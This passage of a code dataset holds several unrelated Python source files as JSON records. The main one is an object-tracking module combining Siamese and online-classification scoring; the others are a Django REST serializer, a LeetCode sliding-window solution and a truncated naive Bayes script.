cfg.TRACK.ST_MEM_COEF\n self.mem_sink_idx = cfg.TRACK.MEM_SINK_IDX\n\n ##Next part for Online Classification\n param_module = importlib.import_module('pytracking.parameter.segm.default_params')\n self.params = param_module.parameters()\n #self.fparams = self.params.features.get_fparams('feature_params')\n\n self.frame_num = 0\n \n def _bbox_clip(self, cx, cy, width, height, boundary):\n cx = max(0, min(cx, boundary[1]))\n cy = max(0, min(cy, boundary[0]))\n width = max(10, min(width, boundary[1]))\n height = max(10, min(height, boundary[0]))\n return cx, cy, width, height\n\n def init(self, img, bbox):\n \"\"\"\n args:\n img(np.ndarray): BGR image\n bbox: (x, y, w, h) bbox\n \"\"\"\n self.center_pos = np.array([bbox[0]+(bbox[2]-1)/2,\n bbox[1]+(bbox[3]-1)/2])\n self.size = np.array([bbox[2], bbox[3]])\n\n # calculate z crop size\n w_z = self.size[0] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n h_z = self.size[1] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n s_z = round(np.sqrt(w_z * h_z))\n scale_z = cfg.TRACK.EXEMPLAR_SIZE / s_z\n \n # calculate channle average\n self.channel_average = np.mean(img, axis=(0, 1))\n\n # get crop\n z_crop = self.get_subwindow(img, self.center_pos,\n cfg.TRACK.EXEMPLAR_SIZE,\n s_z, self.channel_average)\n self.model.template(z_crop)\n \n self.features = [self.model.zf] * self.mem_len\n \n \n ##Next part for initilizing the Online Classification\n self.target_scale = 1.0 / scale_z\n self.pos = torch.Tensor([bbox[1] + (bbox[3] - 1)/2, bbox[0] + (bbox[2] - 1)/2])\n self.target_sz = torch.Tensor([bbox[3], bbox[2]])\n self.base_target_sz = self.target_sz / self.target_scale #the size of target in 255*255 image crop\n \n self.img_sample_sz = torch.Tensor([cfg.TRACK.INSTANCE_SIZE * 1.0, cfg.TRACK.INSTANCE_SIZE * 1.0])\n self.img_support_sz = self.img_sample_sz\n self.feature_sz = TensorList([torch.Tensor([self.score_size * 1.0, self.score_size * 1.0])])\n self.output_sz = torch.Tensor([self.score_size * 1.0, self.score_size * 1.0])\n #import pdb\n #pdb.set_trace()\n #self.kernel_size = self.fparams.attribute('kernel_size')\n self.kernel_size = TensorList([self.params.kernel_size])\n self.visdom = None\n \n self.params.precond_learning_rate = TensorList([self.params.learning_rate])\n if self.params.CG_forgetting_rate is None or max(self.params.precond_learning_rate) >= 1:\n self.params.direction_forget_factor = 0\n else:\n self.params.direction_forget_factor = (1 - max(self.params.precond_learning_rate))**self.params.CG_forgetting_rate\n \n self.init_learning()\n \n im = numpy_to_torch(img)\n\n x = self.generate_init_samples(im)\n\n self.init_projection_matrix(x)\n \n init_y = self.init_label_function(x)\n\n self.init_memory(x)\n\n self.init_optimization(x, init_y) \n \n ##Next part for doing some strategy about motion\n self.frame_num = 0\n \n self.dist = []\n self.dist_x = []\n self.dist_y = []\n self.speed = 0.0\n self.speed_x = 0.0\n self.speed_y = 0.0\n self.disturbance_close_to_target=False\n self.disturbance_away_from_target=False\n self.disturbance_in_target=False\n self.previous_t_d_distance = 0\n self.inside_target_pos_x=0\n self.inside_target_pos_y=0\n \n def post_processing(self, score, pred_bbox, scale_z):\n \n pscore = score * (1 - cfg.TRACK.WINDOW_INFLUENCE) + self.window * cfg.TRACK.WINDOW_INFLUENCE\n best_idx = np.argmax(pscore)\n \n final_lr_score = score[best_idx]\n final_bbox = pred_bbox[best_idx, :]\n final_score = pscore[best_idx]\n lr = cfg.TRACK.LR * final_lr_score\n if final_lr_score > 0.35:\n lr = max(lr, 0.50)\n bbox = final_bbox\n box = np.array([0.0, 0.0, 0.0, 0.0])\n box[0] = (bbox[0] + bbox[2]) / 2 - cfg.TRACK.INSTANCE_SIZE // 2\n box[1] = (bbox[1] + bbox[3]) / 2 - cfg.TRACK.INSTANCE_SIZE // 2\n box[2] = (bbox[2] - bbox[0] + 1)\n box[3] = (bbox[3] - bbox[1] + 1)\n \n return box, final_score, lr, final_lr_score, best_idx\n \n def motion_strategy(self, score, pred_bbox, scale_z):\n pscore = score.copy()\n score = score.reshape(self.score_size, self.score_size)\n \n inside_weight = np.zeros_like(score)\n inside_width = cfg.TRACK.SCORE_INSIDE_WIDTH\n inside_right_idx = int(self.score_size - (self.score_size - inside_width) / 2)\n inside_left_idx = int(self.score_size - (self.score_size - inside_width) / 2 - inside_width)\n inside_weight[inside_left_idx:inside_right_idx,inside_left_idx:inside_right_idx] = np.ones((inside_width,inside_width))\n\n outside_width = cfg.TRACK.SCORE_OUTSIDE_WIDTH\n outside_right_idx = int(self.score_size - (self.score_size - outside_width) / 2)\n outside_left_idx = int(self.score_size - (self.score_size - outside_width) / 2 - outside_width)\n \n outside_weight = np.zeros_like(score)\n outside_weight[outside_left_idx:outside_right_idx,outside_left_idx:outside_right_idx] = np.ones((outside_width,outside_width))\n outside_weight = outside_weight - inside_weight\n \n inside_score = score * inside_weight\n outside_score = score * outside_weight\n\n flag = False\n \n if outside_score.max() > 0.3 and inside_score.max() > 0.4:\n inside_score = inside_score.reshape(-1)\n outside_score = outside_score.reshape(-1)\n inside_box, final_score, lr, final_lr_score, best_idx_inside = self.post_processing(inside_score, pred_bbox, scale_z)\n inside_pos_x = self.center_pos[0] + inside_box[0] / scale_z\n inside_pos_y = self.center_pos[1] + inside_box[1] / scale_z\n \n outside_box, final_score, lr, final_lr_score, best_idx_outside = self.post_processing(outside_score, pred_bbox, scale_z)\n outside_pos_x = self.center_pos[0] + outside_box[0] / scale_z\n outside_pos_y = self.center_pos[1] + outside_box[1] / scale_z\n \n target_disturbance_distance = np.sqrt((outside_pos_x - inside_pos_x)**2+(outside_pos_y - inside_pos_y)**2)\n \n if self.previous_t_d_distance == 0:\n self.previous_t_d_distance = target_disturbance_distance\n else:\n if target_disturbance_distance - self.previous_t_d_distance < 0:\n self.disturbance_close_to_target = True\n\n self.inside_target_pos_x = inside_pos_x\n self.inside_target_pos_y = inside_pos_y\n self.t_d_reset_count = 0\n elif target_disturbance_distance - self.previous_t_d_distance > 0 and self.disturbance_in_target is True:\n self.disturbance_away_from_target = True\n\n box = target_box = inside_box\n flag = True\n else:\n box, final_score, lr, final_lr_score, best_idx_else = self.post_processing(pscore, pred_bbox, scale_z)\n if self.disturbance_close_to_target is True:\n self.disturbance_in_target = True\n self.previous_t_d_distance = 0\n inside_box = box\n inside_pos_x = self.center_pos[0] + inside_box[0] / scale_z\n inside_pos_y = self.center_pos[1] + inside_box[1] / scale_z\n self.t_d_reset_count = self.t_d_reset_count + 1\n if self.t_d_reset_count == 10:\n self.disturbance_close_to_target = False\n self.disturbance_in_target = False\n self.disturbance_away_from_target = False \n inside_box = box\n outside_box = box\n\n if flag:\n best_idx = best_idx_inside\n else:\n best_idx = best_idx_else\n\n if self.disturbance_away_from_target is True:\n inside_pos_x = self.center_pos[0] + inside_box[0] / scale_z\n inside_pos_y = self.center_pos[1] + inside_box[1] / scale_z\n target_inside_distance = np.sqrt((self.inside_target_pos_x - inside_pos_x)**2 + (self.inside_target_pos_y - inside_pos_y)**2)\n outside_pos_x = self.center_pos[0] + outside_box[0] / scale_z\n outside_pos_y = self.center_pos[1] + outside_box[1] / scale_z\n target_outside_distance = np.sqrt((outside_pos_x - self.inside_target_pos_x)**2 + (outside_pos_y - self.inside_target_pos_y)**2)\n if target_inside_distance > target_outside_distance:\n disturbance_box = inside_box\n target_box = outside_box\n if flag:\n best_idx = best_idx_outside\n else:\n best_idx = best_idx_else\n else:\n disturbance_box = outside_box\n target_box = inside_box\n if flag:\n best_idx = best_idx_inside\n else:\n best_idx = best_idx_else\n \n self.disturbance_close_to_target = False\n self.disturbance_in_target = False\n self.disturbance_away_from_target = False\n box = target_box\n \n return box, final_score, lr, final_lr_score, best_idx\n \n def track(self, img):\n \"\"\"\n args:\n img(np.ndarray): BGR image\n return:\n bbox(list):[x, y, width, height]\n \"\"\"\n self.frame_num += 1\n \n w_z = self.size[0] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n h_z = self.size[1] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n s_z = np.sqrt(w_z * h_z)\n scale_z = cfg.TRACK.EXEMPLAR_SIZE / s_z\n s_x = s_z * (cfg.TRACK.INSTANCE_SIZE / cfg.TRACK.EXEMPLAR_SIZE)\n x_crop = self.get_subwindow(img, self.center_pos,\n cfg.TRACK.INSTANCE_SIZE,\n round(s_x), self.channel_average)\n \n pred_bbox = []\n scores_siamese = []\n \n for idx in range(self.mem_len):\n with torch.no_grad():\n if idx == 0:\n outputs = self.model.track(x_crop, self.features[idx], cfg.TRACK.INSTANCE_SIZE)\n else:\n outputs = self.model.tracking(outputs['search_feat'], self.features[idx], cfg.TRACK.INSTANCE_SIZE)\n scores_siamese.append(outputs['score'].view(-1).cpu().detach().numpy())\n pred_bbox.append(outputs['bbox'].cpu().detach().numpy().squeeze(0))\n \n if self.mem_len > 1:\n fuse_func = lambda x: x[0] * self.st_mem_coef + np.stack(x[1:], axis=0).mean(axis=0) * (1 - self.st_mem_coef)\n scores_siamese = fuse_func(scores_siamese)\n else:\n scores_siamese = scores_siamese[0]\n pred_bbox = pred_bbox[0] ##using the 1st template to predict boundingbox\n \n test_feature = TensorList(outputs['feature'].unsqueeze(0))\n test_x = self.project_sample(test_feature)\n scores_match = self.apply_filter(test_x)[0].view(self.score_size, self.score_size).cpu().detach().numpy()\n scores_match = scores_match.reshape(-1, 1).flatten()\n scores_match = np.clip(scores_match, 0, 0.999)\n\n def change(r):\n return np.maximum(r, 1. / r)\n\n def sz(w, h):\n pad = (w + h) * 0.5\n return np.sqrt((w + pad) * (h + pad))\n\n # scale penalty\n s_c = change(sz((pred_bbox[:, 2]-pred_bbox[:, 0]), (pred_bbox[:, 3]-pred_bbox[:, 1])) /\n (sz(self.size[0]*scale_z, self.size[1]*scale_z)))\n\n # aspect ratio penalty\n r_c = change((self.size[0]/self.size[1]) /\n ((pred_bbox[:, 2]-pred_bbox[:, 0])/(pred_bbox[:, 3]-pred_bbox[:, 1])))\n penalty = np.exp(-(r_c * s_c - 1) * cfg.TRACK.PENALTY_K)\n pscore = penalty * scores_siamese\n \n pscore = pscore * (1 - cfg.TRACK.ONLINE_CLASSIFICATION_INFLUENCE) + scores_match * cfg.TRACK.ONLINE_CLASSIFICATION_INFLUENCE\n \n if self.speed_x > cfg.TRACK.SPEED_INFLUENCE * self.size[0] or self.speed_y > cfg.TRACK.SPEED_INFLUENCE * self.size[1] or \\\n self.speed > cfg.TRACK.SPEED_INFLUENCE * max(self.size):\n cfg.TRACK.WINDOW_INFLUENCE = cfg.TRACK.WINDOW_INFLUENCE_FAST\n elif self.speed_x > self.size[0] or self.speed_y > self.size[1] or self.speed > max(self.size):\n cfg.TRACK.WINDOW_INFLUENCE = cfg.TRACK.WINDOW_INFLUENCE_MEDIUM\n else:\n cfg.TRACK.WINDOW_INFLUENCE = cfg.TRACK.WINDOW_INFLUENCE_SLOW\n\n box, best_score, lr, final_lr_score, best_idx = self.motion_strategy(pscore.copy(), pred_bbox, scale_z)\n \n final_bbox = box\n bbox = box / scale_z\n \n cx = self.center_pos[0] + bbox[0]\n cy = self.center_pos[1] + bbox[1]\n \n self.dist.append(math.sqrt(bbox[0]**2 + bbox[1]**2))\n self.dist_x.append(np.abs(bbox[0]))\n self.dist_y.append(np.abs(bbox[1]))\n\n if len(self.dist) < cfg.TRACK.SPEED_LAST_CALC:\n self.speed = max(self.dist)\n self.speed_x = max(self.dist_x)\n self.speed_y = max(self.dist_y)\n else:\n self.speed = max(self.dist[-cfg.TRACK.SPEED_LAST_CALC:])\n self.speed_x = max(self.dist_x[-cfg.TRACK.SPEED_LAST_CALC:])\n self.speed_y = max(self.dist_y[-cfg.TRACK.SPEED_LAST_CALC:])\n \n # smooth bbox\n width = self.size[0] * (1 - lr) + bbox[2] * lr\n height = self.size[1] * (1 - lr) + bbox[3] * lr\n\n # clip boundary\n cx, cy, width, height = self._bbox_clip(cx, cy, width,\n height, img.shape[:2])\n\n # udpate state\n self.center_pos = np.array([cx, cy])\n self.size = np.array([width, height])\n\n bbox = [cx - width / 2,\n cy - height / 2,\n width,\n height]\n\n ##Next part for updating Online Classification and SiameseReppointsTracker template\n if (final_lr_score > 0.3):\n shift = torch.Tensor([final_bbox[1], final_bbox[0]])\n train_y = self.get_label_function(shift)\n self.update_memory(test_x, train_y, None)\n \n if (self.frame_num - 1) % self.params.train_skipping == 0 and self.frame_num > 1: \n self.filter_optimizer.run(self.params.CG_iter)\n \n if (self.frame_num - 1) % self.mem_step == 0 and self.frame_num > 1 and final_lr_score > 0.45 and self.mem_len > 1:\n w_z = self.size[0] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n h_z = self.size[1] + cfg.TRACK.CONTEXT_AMOUNT * np.sum(self.size)\n s_z = round(np.sqrt(w_z * h_z))\n scale_z = cfg.TRACK.EXEMPLAR_SIZE / s_z\n\n # get crop\n z_crop = self.get_subwindow(img, self.center_pos,\n cfg.TRACK.EXEMPLAR_SIZE,\n s_z, self.channel_average)\n with torch.no_grad():\n feat = self.model.get_template(z_crop)\n self.features.pop(self.mem_sink_idx)\n self.features.append(feat)\n \n return {\n 'bbox': bbox,\n 'best_score': best_score,\n 'best_idx': best_idx\n }\n \n \n def init_optimization(self, train_x, init_y):\n # Initialize filter\n filter_init_method = getattr(self.params, 'filter_init_method', 'zeros')\n \n self.filter = TensorList(\n [x.new_zeros(1, cdim, sz[0], sz[1]) for x, cdim, sz in zip(train_x, self.compressed_dim, self.kernel_size)])\n if filter_init_method == 'zeros':\n pass\n elif filter_init_method == 'randn':\n for f in self.filter:\n f.normal_(0, 1/f.numel())\n else:\n raise ValueError('Unknown \"filter_init_method\"')\n\n # Get parameters\n self.params.update_projection_matrix = getattr(self.params, 'update_projection_matrix', True) and self.params.use_projection_matrix\n optimizer = getattr(self.params, 'optimizer', 'GaussNewtonCG')\n # Setup factorized joint optimization\n if self.params.update_projection_matrix:\n self.joint_problem = FactorizedConvProblem(self.init_training_samples, init_y, self.filter_reg,\n TensorList([self.params.projection_reg]), self.params, self.init_sample_weights,\n self.projection_activation, self.response_activation)\n\n # Variable containing both filter and projection matrix\n joint_var = self.filter.concat(self.projection_matrix)\n # Initialize optimizer\n analyze_convergence = getattr(self.params, 'analyze_convergence', False)\n if optimizer == 'GaussNewtonCG':\n self.joint_optimizer = GaussNewtonCG(self.joint_problem, joint_var, debug=(self.params.debug >= 1),\n plotting=(self.params.debug >= 3), analyze=analyze_convergence,\n visdom=self.visdom)\n elif optimizer == 'GradientDescentL2':\n self.joint_optimizer = GradientDescentL2(self.joint_problem, joint_var, self.params.optimizer_step_length, self.params.optimizer_momentum, plotting=(self.params.debug >= 3), debug=(self.params.debug >= 1),\n visdom=self.visdom)\n\n # Do joint optimization\n if isinstance(self.params.init_CG_iter, (list, tuple)):\n self.joint_optimizer.run(self.params.init_CG_iter)\n else:\n self.joint_optimizer.run(self.params.init_CG_iter // self.params.init_GN_iter, self.params.init_GN_iter)\n\n if analyze_convergence:\n opt_name = 'CG' if getattr(self.params, 'CG_optimizer', True) else 'GD'\n for val_name, values in zip(['loss', 'gradient'], [self.joint_optimizer.losses, self.joint_optimizer.gradient_mags]):\n val_str = ' '.join(['{:.8e}'.format(v.item()) for v in values])\n file_name = '{}_{}.txt'.format(opt_name, val_name)\n with open(file_name, 'a') as f:\n f.write(val_str + '\\n')\n raise RuntimeError('Exiting')\n\n # Re-project samples with the new projection matrix\n compressed_samples = self.project_sample(self.init_training_samples, self.projection_matrix)\n #compressed_samples = operation.channel_attention(compressed_samples, self.attention1, self.attention2, self.attention3)\n for train_samp, init_samp in zip(self.training_samples, compressed_samples):\n train_samp[:init_samp.shape[0],...] = init_samp\n\n self.hinge_mask = None\n\n # Initialize optimizer\n self.conv_problem = ConvProblem(self.training_samples, self.y, self.filter_reg, self.sample_weights, self.response_activation)\n\n if optimizer == 'GaussNewtonCG':\n self.filter_optimizer = ConjugateGradient(self.conv_problem, self.filter, fletcher_reeves=self.params.fletcher_reeves,\n direction_forget_factor=self.params.direction_forget_factor, debug=(self.params.debug>=1),\n plotting=(self.params.debug>=3), visdom=self.visdom)\n elif optimizer == 'GradientDescentL2':\n self.filter_optimizer = GradientDescentL2(self.conv_problem, self.filter, self.params.optimizer_step_length,\n self.params.optimizer_momentum, debug=(self.params.debug >= 1),\n plotting=(self.params.debug>=3), visdom=self.visdom)\n\n # Transfer losses from previous optimization\n if self.params.update_projection_matrix:\n self.filter_optimizer.residuals = self.joint_optimizer.residuals\n self.filter_optimizer.losses = self.joint_optimizer.losses\n\n if not self.params.update_projection_matrix:\n self.filter_optimizer.run(self.params.init_CG_iter)\n\n # Post optimization\n self.filter_optimizer.run(self.params.post_init_CG_iter)\n\n # Free memory\n del self.init_training_samples\n if self.params.use_projection_matrix:\n del self.joint_problem, self.joint_optimizer\n \n def init_learning(self):\n # Get window function\n self.feature_window = TensorList([dcf.hann2d(sz).cuda() for sz in self.feature_sz])\n\n # Filter regularization\n self.filter_reg = TensorList([self.params.filter_reg])\n\n # Activation function after the projection matrix (phi_1 in the paper)\n projection_activation = getattr(self.params, 'projection_activation', 'none')\n if isinstance(projection_activation, tuple):\n projection_activation, act_param = projection_activation\n\n if projection_activation == 'none':\n self.projection_activation = lambda x: x\n elif projection_activation == 'relu':\n self.projection_activation = torch.nn.ReLU(inplace=True)\n elif projection_activation == 'elu':\n self.projection_activation = torch.nn.ELU(inplace=True)\n elif projection_activation == 'mlu':\n self.projection_activation = lambda x: F.elu(F.leaky_relu(x, 1 / act_param), act_param)\n else:\n raise ValueError('Unknown activation')\n\n # Activation function after the output scores (phi_2 in the paper)\n response_activation = getattr(self.params, 'response_activation', 'none')\n if isinstance(response_activation, tuple):\n response_activation, act_param = response_activation\n\n if response_activation == 'none':\n self.response_activation = lambda x: x\n elif response_activation == 'relu':\n self.response_activation = torch.nn.ReLU(inplace=True)\n elif response_activation == 'elu':\n self.response_activation = torch.nn.ELU(inplace=True)\n elif response_activation == 'mlu':\n self.response_activation = lambda x: F.elu(F.leaky_relu(x, 1 / act_param), act_param)\n else:\n raise ValueError('Unknown activation')\n \n def generate_init_samples(self, im: torch.Tensor) -> TensorList:\n \"\"\"Generate augmented initial samples.\"\"\"\n # Compute augmentation size(511*511) double the search area\n aug_expansion_factor = getattr(self.params, 'augmentation_expansion_factor', None)\n aug_expansion_sz = self.img_sample_sz.clone()\n aug_output_sz = None\n if aug_expansion_factor is not None and aug_expansion_factor != 1:\n aug_expansion_sz = (self.img_sample_sz * aug_expansion_factor).long()\n aug_expansion_sz += (aug_expansion_sz - self.img_sample_sz.long()) % 2\n aug_expansion_sz = aug_expansion_sz.float()\n aug_output_sz = self.img_sample_sz.long().tolist()\n\n # Random shift operator\n get_rand_shift = lambda: None\n random_shift_factor = getattr(self.params, 'random_shift_factor', 0)\n if random_shift_factor > 0:\n get_rand_shift = lambda: ((torch.rand(2) - 0.5) * self.img_sample_sz * random_shift_factor).long().tolist()\n\n # Create transofmations\n self.transforms = [augmentation.Identity(aug_output_sz)]\n if 'shift' in self.params.augmentation:\n self.transforms.extend([augmentation.Translation(shift, aug_output_sz) for shift in self.params.augmentation['shift']])\n if 'relativeshift' in self.params.augmentation:\n get_absolute = lambda shift: (torch.Tensor(shift) * self.img_sample_sz/2).long().tolist()\n self.transforms.extend([augmentation.Translation(get_absolute(shift), aug_output_sz) for shift in self.params.augmentation['relativeshift']])\n if 'fliplr' in self.params.augmentation and self.params.augmentation['fliplr']:\n self.transforms.append(augmentation.FlipHorizontal(aug_output_sz, get_rand_shift()))\n if 'blur' in self.params.augmentation:\n self.transforms.extend([augmentation.Blur(sigma, aug_output_sz, get_rand_shift()) for sigma in self.params.augmentation['blur']])\n if 'scale' in self.params.augmentation:\n self.transforms.extend([augmentation.Scale(scale_factor, aug_output_sz, get_rand_shift()) for scale_factor in self.params.augmentation['scale']])\n if 'rotate' in self.params.augmentation:\n self.transforms.extend([augmentation.Rotate(angle, aug_output_sz, get_rand_shift()) for angle in self.params.augmentation['rotate']])\n\n ## Generate initial samples\n im_patch, _ = sample_patch(im, self.pos, self.target_scale*aug_expansion_sz, aug_expansion_sz)\n im_patches = torch.cat([T(im_patch) for T in self.transforms])\n\n with torch.no_grad():\n init_samples = TensorList([self.model.get_feature(im_patches.cuda())])\n\n # Remove augmented samples for those that shall not have\n for i, use_aug in enumerate(TensorList([self.params.use_augmentation])):\n if not use_aug:\n init_samples[i] = init_samples[i][0:1, ...]\n\n # Add dropout samples\n if 'dropout' in self.params.augmentation:\n num, prob = self.params.augmentation['dropout']\n self.transforms.extend(self.transforms[:1]*num)\n for i, use_aug in enumerate(TensorList([self.params.use_augmentation])):\n if use_aug:\n init_samples[i] = torch.cat([init_samples[i], F.dropout2d(init_samples[i][0:1,...].expand(num,-1,-1,-1), p=prob, training=True)])\n\n return init_samples\n\n def init_projection_matrix(self, x):\n # Set if using projection matrix\n self.params.use_projection_matrix = getattr(self.params, 'use_projection_matrix', True)\n\n if self.params.use_projection_matrix:\n self.compressed_dim = TensorList([self.params.compressed_dim])\n\n proj_init_method = getattr(self.params, 'proj_init_method', 'pca')\n if proj_init_method == 'pca':\n x_mat = TensorList([e.permute(1, 0, 2, 3).reshape(e.shape[1], -1).clone() for e in x])\n x_mat -= x_mat.mean(dim=1, keepdim=True)\n cov_x = x_mat @ x_mat.t()\n self.projection_matrix = TensorList(\n [None if cdim is None else torch.svd(C)[0][:, :cdim].t().unsqueeze(-1).unsqueeze(-1).clone() for C, cdim in\n zip(cov_x, self.compressed_dim)])\n elif proj_init_method == 'randn':\n self.projection_matrix = TensorList(\n [None if cdim is None else ex.new_zeros(cdim,ex.shape[1],1,1).normal_(0,1/math.sqrt(ex.shape[1])) for ex, cdim in\n zip(x, self.compressed_dim)])\n else:\n self.compressed_dim = x.size(1)\n self.projection_matrix = TensorList([None]*len(x))\n \n def init_label_function(self, train_x):\n # Allocate label function\n self.y = TensorList([x.new_zeros(self.params.sample_memory_size, 1, self.score_size, self.score_size) for x in train_x])\n \n # Output sigma factor\n output_sigma_factor = TensorList([self.params.output_sigma_factor])\n self.sigma = (self.feature_sz / self.img_support_sz * self.base_target_sz).prod().sqrt() * output_sigma_factor * torch.ones(2)\n\n # Center pos in normalized coords\n target_center_norm = (self.pos - self.pos.round()) / (self.target_scale * self.img_support_sz)\n\n # Generate label functions\n for y, sig, sz, ksz, x in zip(self.y, self.sigma, self.feature_sz, self.kernel_size, train_x):\n center_pos = sz * target_center_norm + 0.5 * torch.Tensor([(ksz[0] + 1) % 2, (ksz[1] + 1) % 2])\n for i, T in enumerate(self.transforms[:x.shape[0]]):\n sample_center = center_pos + torch.Tensor(T.shift) / self.img_support_sz * sz\n y[i, 0, ...] = dcf.label_function_spatial(sz, sig, sample_center)\n \n # Return only the ones to use for initial training\n return TensorList([y[:x.shape[0], ...] for y, x in zip(self.y, train_x)])\n\n def init_memory(self, train_x):\n # Initialize first-frame training samples\n self.num_init_samples = train_x.size(0)\n self.init_sample_weights = TensorList([x.new_ones(1) / x.shape[0] for x in train_x])\n self.init_training_samples = train_x\n\n # Sample counters and weights\n self.num_stored_samples = self.num_init_samples.copy()\n self.previous_replace_ind = [None] * len(self.num_stored_samples)\n self.sample_weights = TensorList([x.new_zeros(self.params.sample_memory_size) for x in train_x])\n for sw, init_sw, num in zip(self.sample_weights, self.init_sample_weights, self.num_init_samples):\n sw[:num] = init_sw\n\n # Initialize memory\n self.training_samples = TensorList(\n [x.new_zeros(self.params.sample_memory_size, cdim, x.shape[2], x.shape[3]) for x, cdim in\n zip(train_x, self.compressed_dim)])\n self.training_samples = self.training_samples\n\n def project_sample(self, x: TensorList, proj_matrix = None):\n # Apply projection matrix\n if proj_matrix is None:\n proj_matrix = self.projection_matrix\n return operation.conv2d(x, proj_matrix, mode='same').apply(self.projection_activation)\n \n def apply_filter(self, sample_x: TensorList):\n return operation.conv2d(sample_x, self.filter, mode=None).apply(self.response_activation)\n \n def get_label_function(self, shift):\n # Generate label function\n train_y = TensorList()\n for sig, sz, ksz in zip(self.sigma, self.feature_sz, self.kernel_size):\n center = shift / self.img_support_sz * sz\n train_y.append(dcf.label_function_spatial(sz, sig, center))\n return train_y\n \n def update_memory(self, sample_x: TensorList, sample_y: TensorList, learning_rate = None):\n replace_ind = self.update_sample_weights(self.sample_weights, self.previous_replace_ind, self.num_stored_samples, self.num_init_samples, TensorList([self.params]), learning_rate)\n self.previous_replace_ind = replace_ind\n for train_samp, x, ind in zip(self.training_samples, sample_x, replace_ind):\n train_samp[ind:ind+1,...] = x\n for y_memory, y, ind in zip(self.y, sample_y, replace_ind):\n y_memory[ind:ind+1,...] = y\n if self.hinge_mask is not None:\n for m, y, ind in zip(self.hinge_mask, sample_y, replace_ind):\n m[ind:ind+1,...] = (y >= self.params.hinge_threshold).float()\n self.num_stored_samples += 1\n\n def update_sample_weights(self, sample_weights, previous_replace_ind, num_stored_samples, num_init_samples, fparams, learning_rate = None):\n # Update weights and get index to replace in memory\n replace_ind = []\n for sw, prev_ind, num_samp, num_init, fpar in zip(sample_weights, previous_replace_ind, num_stored_samples, num_init_samples, fparams):\n lr = learning_rate\n if lr is None:\n lr = fpar.learning_rate\n\n init_samp_weight = getattr(fpar, 'init_samples_minimum_weight', None)\n if init_samp_weight == 0:\n init_samp_weight = None\n s_ind = 0 if init_samp_weight is None else num_init\n\n if num_samp == 0 or lr == 1:\n sw[:] = 0\n sw[0] = 1\n r_ind = 0\n else:\n # Get index to replace\n _, r_ind = torch.min(sw[s_ind:], 0)\n r_ind = r_ind.item() + s_ind\n\n # Update weights\n if prev_ind is None:\n sw /= 1 - lr\n sw[r_ind] = lr\n else:\n sw[r_ind] = sw[prev_ind] / (1 - lr)\n\n sw /= sw.sum()\n if init_samp_weight is not None and sw[:num_init].sum() < init_samp_weight:\n sw /= init_samp_weight + sw[num_init:].sum()\n sw[:num_init] = init_samp_weight / num_init\n\n replace_ind.append(r_ind)\n\n return replace_ind\n \n ","repo_name":"MarkZakelj/object-tracker-improved","sub_path":"tracking/VOT2021_RPTMask/RPTMask_submit/siamreppoints/tracker/siamreppoints_tracker.py","file_name":"siamreppoints_tracker.py","file_ext":"py","file_size_in_byte":34238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"22024564113","text":"from rest_framework import serializers\nfrom main.models import Rental, Reservation\n\nclass RentalSerializer(serializers.ModelSerializer):\n class Meta:\n model = Rental\n fields = '__all__'\n \nclass ReservationSerializer(serializers.ModelSerializer):\n rental_name = serializers.CharField(read_only=True) \n class Meta:\n model = Reservation\n fields = ('rental', 'rental_name','id','check_in', 'check_out', 'previous_reservation')\n \n read_only_fields = ['rental_name', ]\n extra_kwargs = {\n 'rental': {'write_only': True},\n 'previous_reservation': {'read_only': True},\n }\n \n def validate(self, data):\n if data['check_in'] > data['check_out']:\n raise serializers.ValidationError({'date error':'Check-In date must be a date before Check-Out date.'})\n return data","repo_name":"clarkjanndy/rental","sub_path":"main/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32397268831","text":"\"\"\"\n给你两个长度相同的字符串,s 和 t。\n\n将 s 中的第 i 个字符变到 t 中的第 i 个字符需要 |s[i] - t[i]| 的开销(开销可能为 0),也就是两个字符的 ASCII 码值的差的绝对值。\n\n用于变更字符串的最大预算是 maxCost。在转化字符串时,总开销应当小于等于该预算,这也意味着字符串的转化可能是不完全的。\n\n如果你可以将 s 的子字符串转化为它在 t 中对应的子字符串,则返回可以转化的最大长度。\n\n如果 s 中没有子字符串可以转化成 t 中对应的子字符串,则返回 0。\n\n输入:s = \"abcd\", t = \"bcdf\", maxCost = 3\n输出:3\n解释:s 中的 \"abc\" 可以变为 \"bcd\"。开销为 3,所以最大长度为 3。\n\n\"\"\"\n\nclass Solution:\n def equalSubstring(self, s: str, t: str, maxCost: int) -> int:\n l = r = 0\n res = 0\n lens = len(s)\n cost = 0\n\n values = []\n for i in range(lens):\n diff = ord(s[i]) - ord(t[i])\n values.append(diff if diff > 0 else -diff)\n\n while r < lens:\n cost += values[r]\n while cost > maxCost:\n cost -= values[l]\n l += 1\n if r - l + 1 > res:\n res = r - l + 1\n r += 1\n\n print(res)\n return res\n\n\nif __name__ == '__main__':\n s = Solution()\n s.equalSubstring(\"abcd\", \"acde\", 0)\n","repo_name":"szy970812/coding_test","sub_path":"leetcode/1203尽可能使字符串相等.py","file_name":"1203尽可能使字符串相等.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"31287267131","text":"import pandas as pd\nfrom sklearn.naive_bayes import MultinomialNB\nfrom collections import Counter\n\ndf = pd.read_csv('buscas.csv')\n\nx_df = df[['home', 'busca', 'logado']]\ny_df = df['comprou']\n\nx_dummies_df = pd.get_dummies(x_df)\ny_dummies_df = y_df\n\nx = x_dummies_df.values\ny = y_dummies_df.values\n\n# Algoritmo de classicação das buscas\nporcentagem_treino = 0.9\ntamanho_treino = int(porcentagem_treino * len(y))\ntamanho_teste = len(y) - tamanho_treino\n\ntreino_dados = x[:tamanho_treino]\ntreino_marcacoes = y[:tamanho_treino]\n\nteste_dados = x[-tamanho_teste:]\nteste_marcacoes = y[-tamanho_teste:]\n\nmodelo = MultinomialNB()\nmodelo.fit(treino_dados, treino_marcacoes)\n\nresultado = modelo.predict(teste_dados)\n\nacertos = resultado == teste_marcacoes\n\ntotal_acertos = sum(acertos)\ntotal_elementos = 